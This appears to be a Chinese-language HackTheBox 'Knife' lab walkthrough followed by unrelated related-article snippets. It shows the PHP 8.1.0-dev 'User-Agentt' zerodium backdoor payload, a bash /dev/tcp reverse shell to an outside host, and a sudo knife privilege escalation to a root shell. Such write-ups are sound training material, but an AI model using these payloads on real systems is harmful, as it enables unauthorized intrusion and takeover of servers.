HackTheBox--Knife
1 信息收集
端口扫描
80端口测试
echo "10.129.63.56 knife.htb" | sudo tee -a /etc/hosts
网站是纯静态的，无任何交互功能，检查网页源代码也未发现任何可利用的文件。
检查页面请求时，请求与响应内容，在响应头中，发现 X-Powered-By 的参数为：PHP/8.1.0-dev
搜索 PHP/8.1.0-dev 相关信息可以发现，存在 'User-Agentt' Remote Code Execution 漏洞
‘User-Agentt’ Remote Code Execution 漏洞利用
点击查看漏洞利用地址
如果字符串以 zerodium 开头，可以在 User-Agent 标头中执行 PHP 代码。
User-Agentt: zerodiumsystem('id');
写入反弹 shell 命令
User-Agentt: zerodiumsystem("bash -c 'bash -i >& /dev/tcp/10.10.16.50/4444 0>&1'");
权限提升
knife 二进制文件，如果可以使用 sudo 权限运行，则可以直接提升权限
sudo knife exec -E 'exec "/bin/sh"'
相关文章：
HackTheBox--Knife
Knife 测试过程 1 信息收集 端口扫描 80端口测试 echo "10.129.63.56 knife.htb" | sudo tee -a /etc/hosts网站是纯静态的，无任何交互功能，检查网页源代码也未发现任何可利用的文件。 检查页面请求时，请求与响应内容࿰…...
Linux_实现TCP网络通信
目录 1、实现服务器的逻辑 1.1 socket 1.2 bind 1.3 listen 1.4 accept 1.5 read 1.6 write 1.7 服务器代码 2、实现客户端的逻辑 2.1 connect 2.3 客户端代码 3、实现服务器与客户端的通信 结语 前言： 在Linux下，实现传输层协议为TCP…...
正则表达式与文本三剑客之grep
目录 前言 一、grep命令 二、基础正则表达式常见元字符 2.1、特殊字符 2.2、定位符 2.3、非打印字符 三、元字符操作实例 3.1、查找特定字符 3.2、利用中括号“[]”来查找集合字符 3.3、查找行首“^”与行尾字符“$” 3.4、查找任意一个字符“.”与重复字符“*” 3.…...
微信小程序开发：项目程序代码构成
✨✨ 欢迎大家来访Srlua的博文（づ￣3￣）づ╭❤～✨✨ 🌟🌟 欢迎各位亲爱的读者，感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢，在这里我会分享我的知识和经验。&am…...
【云原生】Kubernetes微服务Istio：介绍、原理、应用及实战案例
✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯，先赞后看哦~🎈🎈 🏆 作者简介：景天科技苑 🏆《头衔》：大厂架构师，华为云开发者社区专家博主，…...
【Docker】Docker-consul容器服务自动发现与注册
目录 一.Consul概述 1.解决了什么问题 2.什么叫微服务或者注册与发现 3.consul的模式 4.相关命令 二.consul 部署 1.consul服务器部署 2.部署docker容器 3.Nginx负载均衡器 3.1.安装启动nginx 3.2.配置nginx负载均衡 3.3.创建配置consul complate模板文件 3.4.添加…...
Go 1.22 remote error: tls: handshake failure
Golang 1.22 remote error: tls: handshake failure 1.22之前运行下面代码是没有错误 package mainimport ("crypto/tls""fmt""net/http" )func main() {http.DefaultTransport.(*http.Transport).TLSClientConfig &tls.Config{InsecureS…...
迈向通用人工智能：AGI的到来与社会变革展望
正文： 随着科技的飞速发展，通用人工智能（AGI）的来临似乎已不再遥远。近期，多位行业领袖和专家纷纷预测，AGI的到来时间可能比我们想象的要早。在这篇博客中，我们将探讨AGI的发展趋势、潜在影响以…...
大模型额外篇章三：vercel搭建openai中转服务器
文章目录 一、起因和注意1）起因2）注意二、实现方法（原理：透传）1）nginx方案2）node服务3）纯 js 方案4）选择国外的域名服务商（DNS 解析路径缩短，建议方案国外提供 CDN 云服务商结合自建云服务业务做负载均衡）三、实践（vercel部署OpenAI代理服务器）四、测试搭建的Ope…...
使用 jQuery 中的 this 实例
在 jQuery 中，this 关键字用于表示指向当前操作的 DOM 元素。本篇博客将详细介绍如何在 jQuery 中使用 this 实例。 一、选择器中的 this 在选择器中，this 可以方便地指向当前操作的 DOM 元素。例如，当用户点击一个按钮时，我们想…...
下载最新版Anaconda、安装、更换源、配置虚拟环境并在vscode中使用
文章目录 进入官网进入下载页安装更换源配置虚拟环境env安装包requests在vscode中使用虚拟环境 进入官网 https://repo.anaconda.com/ 或进入清华大学下载 https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/ 进入下载页 安装 更换源 查看已经存在的镜像源 bash cond…...
极狐GitLab Git LFS（大文件存储）如何管理？
GitLab 是一个全球知名的一体化 DevOps 平台，很多人都通过私有化部署 GitLab 来进行源代码托管。极狐GitLab ：https://gitlab.cn/install?channelcontent&utm_sourcecsdn 是 GitLab 在中国的发行版，专门为中国程序员服务。可以一键式部署…...
迭代学习笔记
一、迭代学习定义和分类 1、直观理解 迭代学习一般应用于重复性的场景。比如控制一个单自由度的小车以特定的速度曲线移动到指定位置，整个时间是10s，控制频率是0.01，那么整个控制序列就会有1000个点。这1000个点在10s内依次发出，…...
【安全】系统安全设计规范（DOC完整版）
1.1安全建设原则 1.2 安全管理体系 1.3 安全管理规范 1.4 数据安全保障措施 1.4.1 数据库安全保障 1.4.2 操作系统安全保障 1.4.3 病毒防治 1.5安全保障措施 1.5.1实名认证保障 1.5.2 接口安全保障 1.5.3 加密传输保障 1.5.4终端安全保障 软件资料清单列表部分文档&…...
windows常用命令整理
本文分享一些常用的windows命令。根据功能的不同，大致可分为以下几个方面，一是文件操作命令，二是进程相关命令，三是磁盘相关命令，四是网络相关命令，五是其他命令。 1.文件操作命令 dir：显示当…...
视频处理基础知识1
1、图像基本知识 图像的组成：像素、RGB(每个像素由三个发光二极管组成)、分辨率（横纵向像素的个数乘积） PPI每英寸的像素数 DPI每英寸的点数，有可能一个点有多个像素 PPI>300 就属于视网膜级别，就是很清晰&#…...
Linux退不出vim编辑模式
目录 第一章、问题分析1.1）报错提示 第二章、解决方式 友情提醒： 先看文章目录，大致了解文章知识点结构，点击文章目录可直接跳转到文章指定位置。 第一章、问题分析 1.1）报错提示 报错如下：使用Linux的vi…...
TikTok养号的网络环境及相关代理IP知识
TikTok作为一个流行的短视频分享平台，其用户量非常庞大，很多商家和个人都会使用TikTok来进行引流和推广。由于TikTok的规则和政策限制了每个用户每天发布视频的数量，因此许多用户会使用多个账号来发布更多的视频以提高曝光率。 然而ÿ…...
过程调用和数组的分配访问
系列文章 : 深入理解计算机系统笔记 文章目录 系列文章3.7 过程3.7.1 运行时栈3.7.2 转移控制3.7.3 数据传送3.7.4 栈上的局部存储3.7.5 寄存器中的局部存储空间3.7.6 递归过程 3.8 数组分配和访问3.8.1 基本原则3.8.2 指针运算3.8.3 嵌套的数组3.8.4 定长数组3.8.5 变长数组…...
TeamViewer手机端APP提示：请先验证账户
当你在手机端下载安装了TeamViewerAPP后，需要你先登录个人账号，然后还会要求你验证账户，同时跳转到一个网址中，但是这个网址并没有自动跳转到验证账户的位置。 解决办法： 在手机浏览器中进入下面这个网址：…...
突破2048游戏瓶颈：AI助手的全方位策略支持
突破2048游戏瓶颈：AI助手的全方位策略支持 【免费下载链接】2048-ai AI for the 2048 game 项目地址: https://gitcode.com/gh_mirrors/20/2048-ai 为何数字方块总是难以合并到2048？ 你是否曾在2048游戏中遭遇这样的困境：屏幕上的数字…...
PEI转染试剂及相关工具在生命科学研究中的应用解析【曼博生物官方代理Polysciences】
摘要：聚乙烯亚胺（PEI）转染试剂在基因递送、病毒载体生产等领域应用广泛。本文结合Polysciences相关产品体系，对PEI转染、微球技术及神经示踪染料等工具进行系统梳理。 关键词：PEI转染、聚乙烯亚胺、基因转染、HEK293、…...
OneAPI 百度文心一言ERNIE-Bot接入：千帆平台Key对接指南
OneAPI 百度文心一言ERNIE-Bot接入：千帆平台Key对接指南 安全提示：使用 root 用户初次登录系统后，务必修改默认密码 123456！ 1. 引言：为什么需要统一的API管理平台 在当今AI技术快速发展的时代，企业和开发…...
深入TC397与TLF35584的SPI通信：从寄存器操作到汽车ECU低功耗状态管理实战
深入TC397与TLF35584的SPI通信：从寄存器操作到汽车ECU低功耗状态管理实战 在汽车电子领域，电源管理芯片的选择与配置直接关系到整车电子控制单元（ECU）的可靠性与能耗表现。英飞凌的TLF35584作为一款高集成度电源管理IC，…...
SDMatte高可用集群部署：基于Kubernetes的弹性伸缩方案
SDMatte高可用集群部署：基于Kubernetes的弹性伸缩方案 1. 为什么需要高可用部署方案 电商大促期间，某美妆品牌突然发现他们的AI抠图服务崩溃了——每秒上千张的商品图等待处理，但单机部署的服务早已不堪重负。这种场景在企业级AI应用部署中…...
从GUI到Tcl命令：Vivado Report Timing Summary配置选项的完整对照手册（附常用命令模板）
Vivado时序报告GUI与Tcl命令深度对照手册：打造自动化分析工作流 在FPGA设计流程中，时序分析是确保设计满足性能要求的关键环节。Vivado IDE提供了直观的GUI界面用于配置时序报告，但对于追求高效自动化的工程师而言，掌握底层Tcl命令…...
[OS] 非阻塞键盘输入检测（kbhit）在实时交互应用中的实现与优化
1. 为什么需要非阻塞键盘输入检测？ 想象一下你在玩一个简单的终端游戏，比如贪吃蛇。如果游戏在每次等待你按键时都暂停执行，直到你按下某个键才继续，那体验会有多糟糕？这就是阻塞式输入的问题——程序会卡在输入等待环…...
Citra 3DS模拟器：如何在PC端重温任天堂经典游戏的终极指南
Citra 3DS模拟器：如何在PC端重温任天堂经典游戏的终极指南 【免费下载链接】citra A Nintendo 3DS Emulator 项目地址: https://gitcode.com/gh_mirrors/cit/citra 想要在Windows、Linux或macOS系统上体验《精灵宝可梦》、《塞尔达传说》等经典3DS独占游戏吗…...
Nanbeige 4.1-3B赋能微信小程序：打造智能客服对话机器人
Nanbeige 4.1-3B赋能微信小程序：打造智能客服对话机器人 最近在帮一个做电商的朋友琢磨怎么优化他们的客服系统。他们每天要处理大量重复的咨询，比如“什么时候发货”、“怎么退换货”，人工客服忙得团团转，用户还得排队等。这让我…...
Crawl4AI浏览器配置文件创建与键盘交互处理终极指南：打造个性化爬虫身份
Crawl4AI浏览器配置文件创建与键盘交互处理终极指南：打造个性化爬虫身份 【免费下载链接】crawl4ai 🔥🕷️ Crawl4AI: Open-source LLM Friendly Web Crawler & Scrapper 项目地址: https://gitcode.com/GitHub_Trending/craw/crawl4ai…...